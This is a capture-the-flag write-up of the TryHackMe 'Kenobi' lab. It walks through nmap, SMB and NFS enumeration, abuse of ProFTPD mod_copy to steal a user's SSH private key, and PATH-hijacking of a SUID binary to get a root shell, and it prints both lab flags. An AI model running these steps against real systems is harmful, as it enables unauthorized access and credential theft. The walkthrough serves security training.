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TryHackMe/Kenobi.md
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TryHackMe/Kenobi.md
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# TryHackMe-Kenobi
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> Abdullah Rizwan | 09:57 PM
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## NMAP
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```
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Nmap scan report for 10.10.93.137
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Host is up (0.17s latency).
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Not shown: 993 closed ports
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PORT STATE SERVICE VERSION
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21/tcp open ftp ProFTPD 1.3.5
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22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
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| 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
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|_ 256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
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80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
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| http-robots.txt: 1 disallowed entry
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|_/admin.html
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|_http-server-header: Apache/2.4.18 (Ubuntu)
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|_http-title: Site doesn't have a title (text/html).
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111/tcp open rpcbind 2-4 (RPC #100000)
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| rpcinfo:
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| program version port/proto service
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| 100000 2,3,4 111/tcp rpcbind
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| 100000 2,3,4 111/udp rpcbind
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| 100000 3,4 111/tcp6 rpcbind
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| 100000 3,4 111/udp6 rpcbind
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| 100003 2,3,4 2049/tcp nfs
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| 100003 2,3,4 2049/tcp6 nfs
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| 100003 2,3,4 2049/udp nfs
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| 100003 2,3,4 2049/udp6 nfs
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| 100005 1,2,3 40755/tcp mountd
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| 100005 1,2,3 43479/udp6 mountd
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| 100005 1,2,3 52935/tcp6 mountd
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| 100005 1,2,3 60855/udp mountd
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| 100021 1,3,4 36153/tcp nlockmgr
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| 100021 1,3,4 38263/tcp6 nlockmgr
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| 100021 1,3,4 45056/udp nlockmgr
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100021 1,3,4 36153/tcp nlockmgr [3/35]
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| 100021 1,3,4 38263/tcp6 nlockmgr
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| 100021 1,3,4 45056/udp nlockmgr
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| 100021 1,3,4 45196/udp6 nlockmgr
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| 100227 2,3 2049/tcp nfs_acl
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| 100227 2,3 2049/tcp6 nfs_acl
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| 100227 2,3 2049/udp nfs_acl
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|_ 100227 2,3 2049/udp6 nfs_acl
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139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
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445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
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2049/tcp open nfs_acl 2-3 (RPC #100227)
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Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
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Host script results:
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|_clock-skew: mean: 1h39m59s, deviation: 2h53m13s, median: -1s
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|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
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| smb-os-discovery:
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| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
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| Computer name: kenobi
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| NetBIOS computer name: KENOBI\x00
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| Domain name: \x00
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| FQDN: kenobi
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|_ System time: 2020-10-04T11:58:20-05:00
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| smb-security-mode:
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| account_used: guest
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| authentication_level: user
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| challenge_response: supported
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|_ message_signing: disabled (dangerous, but default)
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| smb2-security-mode:
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| 2.02:
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|_ Message signing enabled but not required
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| smb2-time:
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| date: 2020-10-04T16:58:19
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|_ start_date: N/A
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```
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## SMB
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We know that port 139 and 445 is open so we can try using `smbclient`
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```
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smbclient -L \\\\10.10.93.137\\
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Enter WORKGROUP\root's password:
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Sharename Type Comment
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--------- ---- -------
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print$ Disk Printer Drivers
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anonymous Disk
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IPC$ IPC IPC Service (kenobi server (Samba, Ubuntu))
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SMB1 disabled -- no workgroup available
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root@kali:~/TryHackMe/Easy/Kenobi# smbclient \\\\10.10.93.137\\anonymous
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Enter WORKGROUP\root's password:
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Try "help" to get a list of possible commands.
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smb: \> ls
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. D 0 Wed Sep 4 15:49:09 2019
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.. D 0 Wed Sep 4 15:56:07 2019
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log.txt N 12237 Wed Sep 4 15:49:09 2019
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9204224 blocks of size 1024. 6876284 blocks available
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```
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We'll `log.txt` so to get it locally `get log.txt`
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## Rpc Bind PORT 111
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`nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.93.137`
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```
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Nmap scan report for 10.10.93.137
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Host is up (0.18s latency).
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PORT STATE SERVICE
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111/tcp open rpcbind
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| nfs-ls: Volume /var
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| access: Read Lookup NoModify NoExtend NoDelete NoExecute
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| PERMISSION UID GID SIZE TIME FILENAME
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| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 .
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| rwxr-xr-x 0 0 4096 2019-09-04T12:27:33 ..
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| rwxr-xr-x 0 0 4096 2019-09-04T12:09:49 backups
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| rwxr-xr-x 0 0 4096 2019-09-04T10:37:44 cache
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| rwxrwxrwt 0 0 4096 2019-09-04T08:43:56 crash
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| rwxrwsr-x 0 50 4096 2016-04-12T20:14:23 local
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| rwxrwxrwx 0 0 9 2019-09-04T08:41:33 lock
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| rwxrwxr-x 0 108 4096 2019-09-04T10:37:44 log
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| rwxr-xr-x 0 0 4096 2019-01-29T23:27:41 snap
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| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 www
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|_
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| nfs-showmount:
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|_ /var *
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| nfs-statfs:
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| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
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|_ /var 9204224.0 1839224.0 6874404.0 22% 16.0T 32000
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Nmap done: 1 IP address (1 host up) scanned in 7.11 seconds
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```
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## FTP PORT 21
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`nc 10.10.93.137 21`
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```
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220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.93.137]
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```
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Now we can copy the contents from and to , see we know from the `log.txt` that there is an ssh key for user `kenobi` so we can copy it to mnt share which is `var`.
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```
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root@kali:~/TryHackMe/Easy/Kenobi# nc 10.10.93.137 21
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220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.93.137]
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SITE CFPR /home/kenobi/.ssh/id_rsa
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500 'SITE CFPR' not understood
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SITE CPFR /home/kenobi/.ssh/id_rsa
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350 File or directory exists, ready for destination name
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SITE CPTO /var/tmp/id_rsa
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250 Copy successful
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```
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Now we need to mount it to our system in system directory `/mnt`
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```
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root@kali:~/TryHackMe/Easy/Kenobi# mkdir /mnt/kenobiNFS
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root@kali:~/TryHackMe/Easy/Kenobi# mount 10.10.93.137:/var /mnt/kenobiNFS
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root@kali:~/TryHackMe/Easy/Kenobi# cd /mnt
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root@kali:/mnt# ls -la
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total 12
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drwxr-xr-x 3 root root 4096 Oct 4 22:15 .
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drwxr-xr-x 18 root root 4096 Aug 28 06:07 ..
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drwxr-xr-x 14 root root 4096 Sep 4 2019 kenobiNFS
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root@kali:/mnt# cd Ke
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-bash: cd: Ke: No such file or directory
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root@kali:/mnt# cd kenobiNFS/
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root@kali:/mnt/kenobiNFS# ls -la
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total 56
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drwxr-xr-x 14 root root 4096 Sep 4 2019 .
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drwxr-xr-x 3 root root 4096 Oct 4 22:15 ..
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drwxr-xr-x 2 root root 4096 Sep 4 2019 backups
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drwxr-xr-x 9 root root 4096 Sep 4 2019 cache
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drwxrwxrwt 2 root root 4096 Sep 4 2019 crash
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drwxr-xr-x 40 root root 4096 Sep 4 2019 lib
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drwxrwsr-x 2 root staff 4096 Apr 13 2016 local
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lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock
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drwxrwxr-x 10 root crontab 4096 Sep 4 2019 log
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drwxrwsr-x 2 root mail 4096 Feb 27 2019 mail
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drwxr-xr-x 2 root root 4096 Feb 27 2019 opt
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lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run
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drwxr-xr-x 2 root root 4096 Jan 30 2019 snap
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drwxr-xr-x 5 root root 4096 Sep 4 2019 spool
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drwxrwxrwt 6 root root 4096 Oct 4 22:13 tmp
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drwxr-xr-x 3 root root 4096 Sep 4 2019 www
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```
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Now to unmount use
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`umount /mnt/kenobiNFS`
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## SSH PORT 22
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Now that we have the private key , change it's permissions to default `chmod 600 id_rsa` and log in
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```
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ssh kenobi@10.10.93.137 -i id_rsa
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```
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User flag : `d0b0f3f53b6caa532a83915e19224899`
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## Privilege Escalation
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Looking Set User Id (SUID)
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#### Running on Attacker Machine
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```
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find / -perm -u=s -type f 2>/dev/null
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/usr/libexec/polkit-agent-helper-1
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/usr/bin/passwd
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/usr/bin/gpasswd
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/usr/bin/su
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/usr/bin/fusermount3
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/usr/bin/kismet_cap_ti_cc_2531
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/usr/bin/kismet_cap_ti_cc_2540
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/usr/bin/mount
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/usr/bin/bwrap
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/usr/bin/chfn
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/usr/bin/kismet_cap_nrf_mousejack
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/usr/bin/pkexec
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/usr/bin/kismet_cap_linux_bluetooth
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/usr/bin/kismet_cap_linux_wifi
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/usr/bin/chsh
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/usr/bin/kismet_cap_nrf_51822
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/usr/bin/kismet_cap_nxp_kw41z
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/usr/bin/newgrp
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/usr/bin/ntfs-3g
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/usr/bin/umount
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/usr/bin/sudo
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/usr/sbin/mount.cifs
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/usr/sbin/mount.nfs
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/usr/sbin/pppd
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/usr/lib/xorg/Xorg.wrap
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/usr/lib/openssh/ssh-keysign
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/usr/lib/virtualbox/VBoxNetAdpCtl
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/usr/lib/virtualbox/VBoxNetDHCP
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/usr/lib/virtualbox/VBoxHeadless
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/usr/lib/virtualbox/VBoxNetNAT
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/usr/lib/virtualbox/VBoxVolInfo
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/usr/lib/virtualbox/VirtualBoxVM
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/usr/lib/virtualbox/VBoxSDL
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/usr/lib/chromium/chrome-sandbox
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/usr/lib/dbus-1.0/dbus-daemon-launch-helper
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/usr/share/discord/chrome-sandbox
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/usr/share/code/chrome-sandbox
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```
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#### Running on Target Machine
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```
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kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
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/sbin/mount.nfs
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/usr/lib/policykit-1/polkit-agent-helper-1
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/usr/lib/dbus-1.0/dbus-daemon-launch-helper
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/usr/lib/snapd/snap-confine
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/usr/lib/eject/dmcrypt-get-device
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/usr/lib/openssh/ssh-keysign
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/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
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/usr/bin/chfn
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/usr/bin/newgidmap
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/usr/bin/pkexec
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/usr/bin/passwd
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/usr/bin/newuidmap
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/usr/bin/gpasswd
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/usr/bin/menu
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/usr/bin/sudo
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/usr/bin/chsh
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/usr/bin/at
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/usr/bin/newgrp
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/bin/umount
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/bin/fusermount
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/bin/mount
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/bin/ping
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/bin/su
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/bin/ping6
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```
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We can see the difference that `/usr/bin/menu` stands very odd
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Running the binary we can see `3` options
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```
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kenobi@kenobi:~$ /usr/bin/menu
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***************************************
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1. status check
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2. kernel version
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3. ifconfig
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** Enter your choice :
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```
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```
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kenobi@kenobi:/tmp$ echo /bin/sh > curl
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kenobi@kenobi:/tmp$ chmod 777
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kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
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kenobi@kenobi:/tmp$ echo $IP
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kenobi@kenobi:/tmp$ echo $PATH
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/tmp:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
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kenobi@kenobi:/tmp$ /usr/bin/menu
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***************************************
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1. status check
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2. kernel version
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3. ifconfig
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** Enter your choice :1
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# bash
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To run a command as administrator (user "root"), use "sudo <command>".
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See "man sudo_root" for details.
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root@kenobi:/tmp# whoami
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root
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root@kenobi:/tmp# id
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uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
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root@kenobi:/tmp#
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```
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Root flag `177b3cd8562289f37382721c28381f02`
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